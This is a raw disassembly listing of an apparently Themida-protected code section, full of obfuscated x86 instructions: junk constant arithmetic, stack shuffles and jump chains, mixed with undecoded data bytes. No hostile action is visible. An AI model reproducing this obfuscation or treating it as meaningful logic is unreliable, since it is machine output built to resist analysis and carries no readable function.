		dec	esi
		add	esi, 4B9106C5h
		jmp	loc_564E06
; ---------------------------------------------------------------------------
byte_565897	db 0ACh			; DATA XREF: Themida_:005529E8o
		dd 123CE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56589E:				; CODE XREF: Themida_:00562558j
		sub	edx, 42B5259Dh
		add	edx, eax
		push	eax
		push	edx
		mov	edx, 1B823A48h
		jmp	loc_557CD2
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 240C875Ah, 68C2015Ch, 5440h,	0E9240489h, 0FFFEF0AAh
		dd 0A74DDCBBh, 4BD3F70Fh, 0FFE4BCE9h, 24048FFFh, 4EC835Ch
		dd 81243C89h, 4ECh, 24248900h, 4240483h, 4C7815Fh, 51000000h
		dd 9F4673B9h, 0A7E9811Bh, 81793F35h, 544194F1h,	0ACC18125h
		dd 178CBAEh, 240C8BCFh,	0FFF0A4E9h, 268FFh, 81590000h
		dd 0CF0FCCEBh, 0A6EB8111h, 1556C08h, 0A6C381CBh, 57556C08h
		dd 0CF0FCCBFh, 27C38111h, 0E915EA4Eh, 0FFFF6964h, 0B30F665Ch
		dd 0E99C2404h, 0FFFED26Fh, 0E503EEBEh, 0C3EE8142h, 810D0B23h
		dd 9D9F7CC6h, 5EF5292Ah, 2C8BEF01h, 4C48324h, 4C781h, 3C870000h
		dd 24248B24h, 0C26BE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56597A:				; CODE XREF: Themida_:005656BAj
		mov	esi, 7A3F1D61h
		sub	esi, 3E4D5DF3h
		shl	esi, 8
		jmp	loc_55C264
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EFh
		dd 0AB5ABA6Ah, 3C8BFD89h, 4C48124h, 0F7000000h,	1ED83DDh
		dd 0FF4991E9h, 16E956FFh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659AF:				; CODE XREF: Themida_:00557C60j
		mov	edx, edi
		pop	edi
		xor	edx, 27D41A79h
		xor	edi, edx
		jmp	loc_565A47
; ---------------------------------------------------------------------------
		db 5
		dd 2D41797Dh, 28002A05h, 6308E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659CE:				; CODE XREF: Themida_:00564CBEj
		mov	esi, 2957099h
		and	esi, 17247A02h
		dec	esi
		jmp	loc_55901A
; ---------------------------------------------------------------------------


loc_5659DF:				; CODE XREF: Themida_:00554667j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_564256
; ---------------------------------------------------------------------------


loc_5659EB:				; CODE XREF: Themida_:005551FCj
		pop	esp
		push	esi
		push	ecx
		mov	ecx, 15595972h
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		sub	eax, esi
		sub	eax, 15595972h
		mov	esi, [esp]
		push	eax
		jmp	loc_55AFCD
; ---------------------------------------------------------------------------
byte_565A09	db 0FFh, 74h, 24h	; DATA XREF: Themida_:00552928o
		dd 2434FF04h, 0E924048Bh, 0FFFFB702h, 4244401h,	8124048Bh
		dd 4C4h, 2434FF00h, 83240C8Bh, 895004C4h, 405E0h, 0B9510000h
		dd 4, 8759C801h, 18E92404h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A47:				; CODE XREF: Themida_:005659BAj
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_5531BB
; ---------------------------------------------------------------------------


loc_565A5A:				; CODE XREF: Themida_:00563A77j
					; Themida_:00564701j
		push	0C96h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, ebx
		push	2F5h
		mov	[esp], eax
		pop	edx
		jmp	loc_5570AC
; ---------------------------------------------------------------------------
		db 58h
		dd 8CC38143h, 53F280F1h, 0FFD02BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565A89:				; CODE XREF: Themida_:00564018j
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		push	esi
		push	33F65C80h
		pop	esi
		shr	esi, 1
		inc	esi
		sub	esi, 0F1FAB2CEh
		push	ebp
		jmp	loc_561B85
; ---------------------------------------------------------------------------


loc_565AAC:				; CODE XREF: Themida_:00566DDCj
		add	edx, 76BC5C1Ah
		sub	edx, edi
		sub	edx, 76BC5C1Ah
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		push	665B6642h
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 665A6642h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5660AA
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 0F2C781DFh, 5B641773h, 53E9F829h, 8BFFFF2Eh,	46E9241Ch
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565AFB:				; CODE XREF: Themida_:00559F7Dj
		push	ecx
		jmp	loc_566765
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 483E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565B0A:				; CODE XREF: Themida_:00556BC3j
		pop	esp
		push	esi
		push	ebp
		jmp	loc_557730
; ---------------------------------------------------------------------------


loc_565B12:				; CODE XREF: Themida_:00557B3Aj
		sub	ebp, ecx
		jmp	loc_559A1F
; ---------------------------------------------------------------------------
		db 0B0h, 0BEh, 0E9h
		dd 0FFFF6A51h, 0E7E38143h, 0E91CE950h, 0FFFEE042h, 0EA2D6CBAh
		dd 0A9E9571Ch
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B37:				; CODE XREF: Themida_:00563342j
		pop	edx
		add	esi, 0FFFFFFFFh
		neg	esi
		jmp	loc_5607A6
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 0C8BE830h, 0EF0EE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565B52:				; CODE XREF: Themida_:0055943Dj
		mov	eax, [esp]
		add	esp, 4
		shr	bl, 7
		not	bl
		shl	bl, 8
		sub	bl, 0C8h
		shl	bl, 7
		sub	bl, 0CDh
		sub	bl, 0Ch
		sub	bl, 0A8h
		and	al, bl
		jmp	loc_560359
; ---------------------------------------------------------------------------


loc_565B79:				; CODE XREF: Themida_:005594A4j
		add	ebx, 6F3D745Bh
		pop	edx
		push	eax
		push	1EDF63C1h
		mov	eax, [esp]
		push	1CC1h
		jmp	loc_55774D
; ---------------------------------------------------------------------------
		db 80h
		dd 4E933C7h, 66FFFFDAh,	66240C89h, 66C8B60Fh, 2E99C51h
		dd 0B3000013h, 3225E900h, 0E955FFFFh, 0FFFFD147h, 8704C483h
		dd 685C2404h, 63FFh, 81241489h,	4ECh, 24348900h, 0FFE712E9h
		dd 6A668FFh, 0ABE90000h, 56000008h, 0F189D689h,	24148B5Eh
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 2E9240Ch
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565BFF:				; CODE XREF: Themida_:00566A97j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	7EE8h
		jmp	loc_55C498
; ---------------------------------------------------------------------------


loc_565C17:				; CODE XREF: Themida_:00555E32j
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563586
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4FE2424h, 8CE99C24h
		db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565C2F:				; CODE XREF: Themida_:005640B8j
		mov	[esp], edi
		mov	edi, 611E9444h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		jmp	loc_555B2D
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 0E9D92801h, 0FFFF6A34h, 181E685Ah, 4890000h,	0FF57E924h
		dd 0E589FFFEh, 4C581h, 0ED680000h, 8900003Eh, 98E92414h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C73:				; CODE XREF: Themida_:0055DC37j
		push	ebx
		push	eax
		push	esi
		jmp	loc_55498F
; ---------------------------------------------------------------------------


loc_565C7B:				; CODE XREF: Themida_:00554784j
		or	ecx, ebx
		jmp	loc_567433
; ---------------------------------------------------------------------------


loc_565C82:				; CODE XREF: Themida_:0055F523j
		shr	ecx, 0Bh
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	6EA1h
		jmp	loc_55F172
; ---------------------------------------------------------------------------


loc_565C94:				; CODE XREF: Themida_:005542EFj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	2ED72A73h
		pop	ecx
		inc	ecx
		jmp	loc_5678F5
; ---------------------------------------------------------------------------


loc_565CC4:				; CODE XREF: Themida_:0056282Aj
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_552EEA
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	0C8704E9h, 0A5E95C24h, 0BEFFFF0Fh
		dd 1C654E2Dh, 0F1C681h,	0EE81588Dh, 3C123BFFh, 0F019EE81h
		dd 0FD2D3F6Dh, 0E9120559h, 0FFFF438Bh
; ---------------------------------------------------------------------------


loc_565D10:				; CODE XREF: Themida_:0055754Aj
		mov	ecx, 6E5E646Fh
		add	ebp, ecx
		pop	ecx
		add	ebp, edx
		sub	ebp, 6E5E646Fh
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5537D1
; ---------------------------------------------------------------------------
		db 87h
		dd 4EC83FEh, 0E9243C89h, 0FFFFB828h, 24048B66h,	8904EC83h
		dd 1DE92404h, 0F7FFFF0Fh, 6BF281DAh, 815CB02Fh,	38ABDBC2h
		dd 0E9D72975h, 0FFFFFD86h
; ---------------------------------------------------------------------------


loc_565D5C:				; CODE XREF: Themida_:0055CA28j
		pop	eax
		jmp	loc_55C545
; ---------------------------------------------------------------------------


loc_565D62:				; CODE XREF: Themida_:005589D2j
		sub	edx, 0FDD35823h
		jmp	loc_5592AA
; ---------------------------------------------------------------------------


loc_565D6D:				; CODE XREF: Themida_:0055870Dj
		sub	ebp, 1A4C0711h
		add	ebp, esi
		add	ebp, 1A4C0711h
		jmp	loc_5587A2
; ---------------------------------------------------------------------------
		dd 4C681h, 0E9E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565D8B:				; CODE XREF: Themida_:0055F06Bj
		mov	ebp, 62EF604Dh
		xor	ebp, 950F604Dh
		xor	esi, ebp
		pop	ebp
		sub	[edi+24h], esi
		jmp	loc_561C4C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 36EBED81h, 0EB89CB28h, 83242C8Bh, 0D76804C4h, 8900005Dh
		dd 49B9240Ch, 0E971BF78h, 0FFFEEBDBh
; ---------------------------------------------------------------------------


loc_565DC4:				; CODE XREF: Themida_:0056630Cj
		shl	al, 3
		jmp	loc_556820
; ---------------------------------------------------------------------------
		dd 214668h, 24148900h, 0E9240487h, 0ABCh, 8637DFBDh, 0B7D6E904h
		dd 248BFFFFh, 68E1F724h, 2C52h,	50241489h, 0CDC1E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565DFA:				; CODE XREF: Themida_:00567B9Ej
		sub	esp, 4
		jmp	loc_55A6FD
; ---------------------------------------------------------------------------
		dw 525Bh
		dd 4BAh, 5AD10100h, 31240C33h, 0C33240Ch, 24248B24h, 2BD55h
		dd 0EF010000h, 3A84685Dh, 0C5E90000h, 50FFFF6Eh, 0FF6B8FE9h
		dd 281E68FFh, 1C890000h, 0D1C2E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565E3E:				; CODE XREF: Themida_:005680DFj
		inc	dword ptr [edi+20h]
		shl	dword ptr [edi+20h], 3
		push	ecx
		mov	ecx, 1FBD54F6h
		shl	ecx, 3
		shr	ecx, 2
		shl	ecx, 4
		push	0
		sub	[esp], ecx
		pop	ecx
		push	esi
		jmp	loc_553309
; ---------------------------------------------------------------------------


loc_565E63:				; CODE XREF: Themida_:00563064j
		sub	[esp+4], eax
		jmp	loc_559660
; ---------------------------------------------------------------------------


loc_565E6C:				; CODE XREF: Themida_:005607D8j
		and	esi, 4A77483Fh
		and	esi, 2B0D3E0Fh
		jmp	loc_56622E
; ---------------------------------------------------------------------------
		db 68h,	99h, 3Eh
		dd 1AE92346h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_565E87:				; CODE XREF: Themida_:005650CCj
		push	1F38h
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_55BF1C
; ---------------------------------------------------------------------------
		dw 6853h
		dd 29E15918h, 8E3C15Bh,	0FFA7B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565EA9:				; CODE XREF: Themida_:00563000j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_55CB61
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFF7C64h, 4812E4B9h, 8CE3BA5Eh, 0AFE9A6E4h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565ECF:				; CODE XREF: Themida_:00561170j
		pop	esi
		add	ecx, esi
		pop	esi
		push	eax
		push	1066h
		mov	[esp], ebp
		push	28D006B8h
		pop	ebp
		add	ebp, 5DB015ABh
		shr	ebp, 5
		push	edi
		mov	edi, 6E151E95h
		push	ebp
		mov	ebp, 47F86921h
		not	ebp
		jmp	loc_55F1BC
; ---------------------------------------------------------------------------
		dw 0DD89h
		dd 0F7D5F75Bh, 68C581D5h, 0E93AD920h, 0FFFF7578h
; ---------------------------------------------------------------------------


loc_565F10:				; CODE XREF: Themida_:00560F8Fj
		add	eax, 0FEDFFDA1h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		push	1B47h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_559E69
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 94663605h, 8BC329D1h, 0DBE92404h
		db 13h,	2 dup(0FFh)
byte_565F43	db 0FFh			; DATA XREF: Themida_:00552A4Co
		dd 52553877h, 837080BAh, 5AD58926h, 4244481h, 2D765CC8h
		dd 4246C29h, 0FF1422E9h
		db 0FFh
byte_565F61	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552B2Co
		dd 0CCE95124h, 5FFFF42h, 0F3A7FEF1h, 51C781h, 0C729334Dh
		dd 51EF81h, 34FF334Dh, 0C4815824h, 4, 0FF9B53E9h, 0E9E289FFh
		dd 0FFFFF770h, 0E95FFE01h, 0FFFF7733h
; ---------------------------------------------------------------------------


loc_565F9C:				; CODE XREF: Themida_:0055A293j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, 264A40A3h
		add	esi, edx
		add	esi, 264A40A3h
		jmp	loc_5675DB
; ---------------------------------------------------------------------------


loc_565FC7:				; CODE XREF: Themida_:00562CD4j
		pop	edx
		sub	edx, 123E3F63h
		add	edx, eax
		jmp	loc_563370
; ---------------------------------------------------------------------------


loc_565FD5:				; CODE XREF: Themida_:0055724Bj
		push	esi
		mov	esi, 44C44928h
		xor	ebp, esi
		pop	esi
		mov	ecx, ebp
		pop	ebp
		xor	edx, ecx
		pop	ecx
		jmp	loc_567E65
; ---------------------------------------------------------------------------
aPhnw		db 'Ph█w',0
		dw 8900h
		dd 4832424h, 0F9E90424h, 31FFFEE7h, 34332434h, 0EC835C24h
		dd 242C8904h, 2E81BA52h, 39BD518Bh, 3116FD2Ch, 45DE9D5h
		dd 0F086FFFFh, 0FF892CE9h, 4EC81FFh, 89000000h,	0A068241Ch
		dd 5B47D21Bh, 5BF5755h,	0C168133Ch, 0E78106EFh,	3BD71AD9h
		dd 0B3E95547h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566047:				; CODE XREF: Themida_:00564E09j
		add	ecx, esi
		push	ebp
		mov	ebp, 339102A3h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, 156709F8h
		pop	esi
		jmp	loc_55C7B0
; ---------------------------------------------------------------------------
word_56605E	dw 32FFh		; DATA XREF: Themida_:00552948o
		dd 0FECB56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566065:				; CODE XREF: Themida_:005643EAj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5636CC
; ---------------------------------------------------------------------------
word_566076	dw 8B66h		; DATA XREF: Themida_:00552AF8o
		dd 0D168240Ch, 8900001Dh, 0E0892404h, 405h, 2ABB5300h
		dd 556C862Bh, 504575BDh, 6E5C16Dh, 0DD32E957h, 248BFFFEh
		dd 48B6624h, 27C9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5660AA:				; CODE XREF: Themida_:00565ADDj
		and	eax, edx
		jmp	loc_557B04
; ---------------------------------------------------------------------------


loc_5660B1:				; CODE XREF: Themida_:00566BDFj
		push	ebx
		jmp	loc_55B4CE
; ---------------------------------------------------------------------------


loc_5660B7:				; CODE XREF: Themida_:00559C2Cj
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 25F92979h
		sub	ebx, eax
		sub	ebx, 25F92979h
		push	0FC1h
		mov	[esp], edx
		mov	edx, 19324913h
		xor	edx, 52087D40h
		add	ebx, edx
		pop	edx
		jmp	loc_55CE7A
; ---------------------------------------------------------------------------
		db 0BFh, 63h, 56h
		dd 0E94F4A9Dh, 0FFFF7BA1h
; ---------------------------------------------------------------------------


loc_5660F4:				; CODE XREF: Themida_:0055443Ej
		mov	ecx, 3C951B98h
		or	ecx, 6D606068h
		add	ecx, 0BBD6380Fh
		add	ebx, ecx
		jmp	loc_56636B
; ---------------------------------------------------------------------------
dword_56610C	dd 24048B66h, 41E168h, 24348900h, 0FE04E954h, 6405FFFEh
					; DATA XREF: Themida_:00552B50o
		dd 572BF55h, 81EC44C1h,	0E958C501h, 7CFh, 5D240C89h, 0EDC15B59h
		dd 0E0CD8105h, 816A1405h, 333DE1CDh, 0DBBA526Bh, 316908AFh
		dd 0A4E95AD5h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566153:				; CODE XREF: Themida_:0055DC58j
		add	esp, 4
		add	ebx, 25E70377h
		sub	ebx, 583E2754h
		add	ebx, edi
		jmp	loc_55C8A5
; ---------------------------------------------------------------------------
		dd 88E28852h, 84E95AD7h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566177:				; CODE XREF: Themida_:0055ADC7j
		push	edx
		push	ebx
		mov	ebx, 3CC61140h
		mov	edx, ebx
		pop	ebx
		sub	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55B8E5
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 58662414h, 24043166h, 24043366h, 24043166h, 1CABE9h
		dd 61ED8100h, 0C133970Bh, 0C58108EDh, 13EF2CFBh, 1CE95653h
		dd 29FFFF8Ah, 1AED81F5h, 0E920381Dh, 0FFFF031Dh
dword_5661CC	dd 240C8B66h, 7B8168h, 240C8900h, 6D5168h, 2076800h, 24890000h
					; DATA XREF: Themida_:00552A18o
		dd 24048324h, 24048F04h, 779B68h, 240C8900h, 468h, 6C815900h
		dd 49910424h, 4C01153Dh, 44810424h, 49910424h, 0E959153Dh
		dd 0FFFF6754h, 0DA40E95Ch, 0C829FFFEh, 51FB2D59h, 0F8015B98h
		dd 9851FB05h, 0D1BAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56622E:				; CODE XREF: Themida_:00565E78j
		sub	esi, 6EC1110Fh
		not	esi
		sub	esi, 66C01100h
		mov	eax, esi
		pop	esi
		add	eax, ebx
		push	dword ptr [eax]
		jmp	loc_5644B7
; ---------------------------------------------------------------------------


loc_566248:				; CODE XREF: Themida_:00553C6Cj
		add	esp, 4
		push	72DBh
		mov	[esp], edi
		push	esi
		mov	esi, 0D250017h
		jmp	loc_56663C
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 0CBh
		dd 0E944E72Ah, 0FFFF3D53h, 9B1A93BDh, 796C6812h, 2C890000h
		dd 1737E924h, 4870000h,	52505C24h, 1B2A6EBAh, 2103E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56628E:				; CODE XREF: Themida_:0056350Fj
		mov	edi, 4
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	0A4Fh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	1FD8h
		mov	[esp], esi
		jmp	loc_552DF7
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF3FC8h, 0D68665Bh, 1489662Eh, 0F672B624h, 0C0CEFEDEh
		dd 0C68005EEh, 59F6809Dh, 0C07BB353h, 0F38007E3h, 4771E960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5662F6:				; CODE XREF: Themida_:0055EB15j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_553687
; ---------------------------------------------------------------------------


loc_56630A:				; CODE XREF: Themida_:00563EFDj
		pop	ecx
		pop	edx
		jmp	loc_565DC4
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF3B66E9h, 4475B8FFh, 0C6292A5Dh, 240C8B58h, 56E95455h
		dd 55FFFF5Eh, 0EC1E45BDh, 69C58126h, 0E95D8375h, 0FFFEEC21h
		dd 0E9241489h, 0FFFF9914h, 0BEE95766h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56634B:				; CODE XREF: Themida_:00567658j
		sub	esi, edx
		add	esi, 555A39E8h
		pop	edx
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_555F87
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 6406804h, 1CE90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56636B:				; CODE XREF: Themida_:00566107j
		pop	ecx
		add	eax, ebx
		jmp	loc_564128
; ---------------------------------------------------------------------------
		db 89h
		dd 7CBB241Ch, 0D1417525h, 81DBF7EBh, 215C75C3h,	0BBEB8171h
		dd 0E946251Ah, 0FFFFE7C1h, 4D781C05h, 0D0015938h, 3F2EBB53h
		dd 0E3C13F16h, 650E906h, 2C8BFFFFh, 0E6895624h,	4C681h
		dd 0C6810000h, 4, 5C243487h, 0FF5EF5E9h, 4C183FFh, 0E9240C87h
		dd 0FFFF6A30h, 836EC80h, 52AFE9E6h, 0EF83FFFFh,	243C8704h
		dd 5424248Bh, 0E924048Fh, 8B1h,	1C8BFE88h, 4C48324h, 0FF4118E9h
		dd 1E8B9FFh, 0CA894696h, 0DB55E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566402:				; CODE XREF: Themida_:0055FE9Cj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		pop	esi
		jmp	loc_5610B8
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0AACE80A4h, 80ABEE80h, 0CE8078F6h, 0BB63E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566426:				; CODE XREF: Themida_:0055F099j
		mov	ecx, 3CB734E6h
		add	ecx, 75F70E24h
		jmp	loc_560CF7
; ---------------------------------------------------------------------------


loc_566436:				; CODE XREF: Themida_:0055B09Cj
		not	dword ptr [esp]
		pop	ebx
		shr	ebx, 5
		jmp	loc_55443D
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 78028E9Eh, 3C8BFB29h, 4C48124h, 81000000h, 97B250F3h
		dd 0AFC681EAh, 29030530h, 0AFEE81DEh, 8B030530h, 0C481241Ch
		dd 4, 4DBDEE81h, 0C6811A46h, 33A840B3h,	4EC81h,	4890000h
		dd 0F9F3E924h, 0C89FFFFh, 4EC8124h, 54000000h, 0E924048Fh
		dd 0FFFFD41Dh, 8324348Bh, 0EF8104C4h, 231A3Ah, 0C781CF29h
		dd 231A3Ah, 58B95159h, 295D45C5h, 240C8BCFh, 5704C483h
		dd 0FEDB7DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5664C5:				; CODE XREF: Themida_:00559CC3j
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_5664CA:				; CODE XREF: Themida_:005667B8j
		mov	ebp, 1E693BBCh
		jmp	loc_55C4E7
; ---------------------------------------------------------------------------


loc_5664D4:				; CODE XREF: Themida_:00557360j
		pop	esp
		mov	ebp, [esp]
		jmp	loc_55CE5A
; ---------------------------------------------------------------------------
		db 1, 0C7h, 55h
		dd 0FFD5FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5664E5:				; CODE XREF: Themida_:005625EBj
		not	edx
		xor	edx, 3DF21C90h
		push	esi
		jmp	loc_567D2F
; ---------------------------------------------------------------------------


loc_5664F3:				; CODE XREF: Themida_:00557869j
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_55D616
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EF8104E7h, 6FEA6788h, 15BF5756h, 81370743h,	0EC2583C7h
		dd 0FCC8E924h, 5E5AFFFEh, 0FF8DEFE9h, 0FFBE56FFh, 29674A72h
		dd 0E9082474h, 0FFFF289Eh, 6AA1685Eh, 3C890000h, 4BF24h
		dd 0D3E90000h, 52FFFF3Bh, 5647E5BAh, 0FFD331EFh, 46E92434h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566553:				; CODE XREF: Themida_:00559E64j
		pop	ebx
		jmp	loc_555D5C
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 2404FE24h, 241C8B66h, 0E902C483h, 0FFFFD792h, 243C875Eh
		dd 0FF1C02E9h, 0B9F181FFh, 0C169CB3Eh, 0D9F705E1h, 0FF044BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566585:				; CODE XREF: Themida_:0055E629j
		mov	ebp, 1BD94FEFh
		jmp	loc_5600EF
; ---------------------------------------------------------------------------


loc_56658F:				; CODE XREF: Themida_:0056716Dj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_567FD2
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241C89h, 1910h
; ---------------------------------------------------------------------------


loc_5665B4:				; CODE XREF: Themida_:005656A4j
		mov	esi, 4
		sub	edx, esi
		jmp	loc_554B73
; ---------------------------------------------------------------------------


loc_5665C0:				; CODE XREF: Themida_:0055E199j
		or	esi, ebx
		jmp	loc_56588A
; ---------------------------------------------------------------------------
		db 87h
		dd 565C241Ch, 0FECB37E9h, 57E951FFh, 88FFFF5Ch,	0C68058C6h
		dd 0C4B35301h, 0C380CBFEh, 9CF38050h, 515BDE08h, 0CE008BB1h
		dd 6BC38059h, 0EB80F328h, 0C3805A6Bh, 0F816E971h, 0EABDFFFEh
		dd 815F3B1Ah, 7517ABE5h, 14C0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566612:				; CODE XREF: Themida_:0055C9DFj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55F6EA
; ---------------------------------------------------------------------------


loc_566620:				; CODE XREF: Themida_:0055F822j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_560E49
; ---------------------------------------------------------------------------


loc_56663C:				; CODE XREF: Themida_:0056625Cj
		sub	[esp+4], esi
		pop	esi
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55F91B
; ---------------------------------------------------------------------------


loc_566652:				; CODE XREF: Themida_:005567FDj
		pop	ebp
		jmp	loc_56575F
; ---------------------------------------------------------------------------


loc_566658:				; CODE XREF: Themida_:00557D3Bj
		pop	esi
		jmp	loc_561958
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 0C4659C8h, 0FEEE55E9h, 665866FFh, 5052F329h,	0FF7171E9h
		db 0FFh
byte_566675	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552AE4o
		dd 4EC8124h, 89000000h,	77E9240Ch
		db 1Ah,	2 dup(0FFh)
byte_566687	db 0ADh			; DATA XREF: Themida_:00552900o
		dd 0B417E951h, 0CF81FFFFh, 248447Bh, 7EF7EF81h,	0FB892E7Fh
		dd 0FF7D37E9h, 2434FFFFh, 4EC8358h, 0FEFB5AE9h,	6E6847FFh
		dd 89000056h, 0F1E92434h, 81FFFF6Ch, 4C3h, 51525000h, 847A1CB9h
		dd 10D6E95Fh, 0CD29FFFFh, 592434FFh, 0FF626BE9h, 0ACE952FFh
		dd 81FFFFDEh, 961350EBh, 0A871E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5666EA:				; CODE XREF: Themida_:0055D4A0j
		mov	ebp, 200528Ah
		sub	ebp, 65D5872h
		sub	ebp, 343F654Eh
		shr	ebp, 8
		add	ebp, 42473068h
		neg	ebp
		jmp	loc_558992
; ---------------------------------------------------------------------------
		db 1
